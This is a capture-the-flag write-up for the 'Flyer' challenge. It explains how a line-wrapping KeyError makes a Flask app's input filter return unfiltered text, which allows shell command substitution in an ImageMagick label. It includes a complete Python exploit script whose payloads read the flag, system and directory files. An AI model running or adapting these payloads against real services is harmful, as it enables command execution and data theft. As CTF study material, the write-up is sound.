Flyer

ImageMagick RCE via line-wrap bug → filter bypass

TL;DR

The Flask app builds a shell command with user input and runs it with shell=True. Input is supposed to be filtered in cutstring(), but a line-wrapping bug throws a non-HTTP exception that returns the original, unfiltered text. That lets us inject shell syntax inside label:"{text}" and execute commands (e.g., $(cat file)), with output rendered onto the generated PNG.

Root cause

  • Command composed with user data:
    cmd = command_text_add.format(..., text=text, ...)
    subprocess.run(cmd.encode('utf-8'), shell=True, ...)
  • Input passes through cutstring() which calls filterString() per character.
  • On wrap, the buggy loop does charWidth[char] inside for i in sWord: instead of charWidth[i].

    When the wrap happens on a character missing from charWidth (e.g., .), a KeyError is raised.

  • The generic exception handler:
    except Exception as error:
        if isinstance(error, HTTPException): abort(...)
        return (780, s)  # ← returns original, unfiltered string

    …so the dangerous characters ($()|;&><) never got filtered.

Exploit strategy

  1. Force first wrap on a dot (.) so the bug throws and the function returns our original string.
  1. Inject shell via command substitution inside the quoted label: $(...).
  1. Render the command’s output in the image. Add fold/newlines so text fits.

The script below deterministically builds a first line that crosses the 800px limit on a dot, guaranteeing the exception. Then it appends our payload.

PoC script (used to get the flag)

  • Simulates the server’s width table to force wrap-on-dot.
  • Keeps request under the app’s len(text) ≤ 438 constraint.
  • Tries payloads; saves the first successful image to flyer.png.
  • Uses fold for readable multiline output, and echo; to start on a fresh line.
#!/usr/bin/env python3
# script.py
import requests

URL   = "https://flyer.ctf.zone/generate"
COLOR = "0"
OUT   = "flyer.png"
TIMEOUT = 12

# charWidth from the app
charWidth = {
    ',': 9.5, '-': 14.5, '0': 28.5, '1': 15.5, '2': 19.5, '3': 21.5, '4': 20.5, '5': 22.5, '6': 22.5, '7': 18.5, '8': 21.5, '9': 22.5,
    'A': 24.5, 'B': 24.5, 'C': 28.5, 'D': 26.5, 'E': 23.5, 'F': 22.5, 'G': 28.5, 'H': 25.5, 'I': 9.5, 'J': 21.5, 'K': 23.5, 'L': 22.5,
    'M': 33.5, 'N': 25.5, 'O': 30.5, 'P': 22.5, 'Q': 30.5, 'R': 23.5, 'S': 22.5, 'T': 23.5, 'U': 26.5, 'V': 25.5, 'W': 35.5, 'X': 29.5,
    'Y': 26.5, 'Z': 26.5, '_': 17.5, 'a': 21.5, 'b': 23.5, 'c': 22.5, 'd': 23.5, 'e': 23.5, 'f': 18.5, 'g': 23.5, 'h': 24.5, 'i': 8.5,
    'j': 8.5, 'k': 20.5, 'l': 8.5, 'm': 39.5, 'n': 24.5, 'o': 23.5, 'p': 23.5, 'q': 23.5, 'r': 20.5, 's': 21.5, 't': 19.5, 'u': 24.5,
    'v': 23.5, 'w': 32.5, 'x': 23.5, 'y': 24.5, 'z': 22.5, ' ': 12.5
}
MAX_RAW_LEN = 438
DOT = "."
def w(c): return charWidth.get(c, 25)

def build_first_line_crossing_on_dot(target=800.0):
    line, length = "", 0.0
    pieces, i = ["ab", "a", "b"], 0
    while True:
        if length + w(DOT) >= target:
            return line + DOT
        piece = pieces[i % len(pieces)]; i += 1
        cand = piece + " "; cw = sum(w(c) for c in cand)
        if length + cw < target:
            line += cand; length += cw; continue
        cand = piece; cw = sum(w(c) for c in cand)
        if len(line)>0 and length + cw < target:
            line += cand; length += cw; continue
        placed = False
        for ch in ["a","b"," "]:
            if length + w(ch) < target:
                line += ch; length += w(ch); placed = True; break
        if not placed:
            continue

def craft_text(payload):
    MARK_L, MARK_R = " [[", "]] "
    first_line = build_first_line_crossing_on_dot()
    spacer = " ab"
    text = first_line + spacer + " " + MARK_L + payload + MARK_R
    return text[-MAX_RAW_LEN:] if len(text) > MAX_RAW_LEN else text

def send(text):
    return requests.post(URL, data={"color": COLOR, "text": text}, timeout=TIMEOUT)

def main():
    def wrap(cmd, width=28):
        return f"$( {cmd} | fold -s -w {width} )"
    payloads = [
        wrap("echo; cat secret_flag_77238723.txt"),  # start on a new line, then print flag
        wrap("uname -a"),
        wrap("ls -la / | head -n 30"),
        wrap("cat /etc/hostname"),
        wrap("cat /etc/issue"),
        # fallback guesses
        wrap("cat /flag"), wrap("cat /flag.txt"),
        wrap("cat /app/flag"), wrap("cat /app/flag.txt"),
    ]
    for p in payloads:
        txt = craft_text(p)
        r = send(txt); ctype = r.headers.get("Content-Type","")
        print(f"[i] {p} -> status={r.status_code}, ctype={ctype}, len={len(txt)}")
        if r.status_code == 200 and "image/png" in ctype:
            with open(OUT, "wb") as f: f.write(r.content)
            print(f"[+] Saved image to {OUT}\n[+] Sent text:\n{txt}\n[+] Look for [[ ... ]] in the image.")
            return
    print("[-] No visible output, tweak payloads.")

if __name__ == "__main__":
    main()

Usage

python3 script.py
# check flyer.png – output appears between [[ ... ]]

Notes / quirks

  • The app rejects len(text) > 438 before wrapping logic — the script keeps under that.
  • Valid color is 0..5; script uses 0.
  • fold -s -w 28 wraps output so it fits the 840px canvas.

    Add echo; before cat to start the flag on a fresh line.

  • If a path fails (empty output), try other common locations or list directories.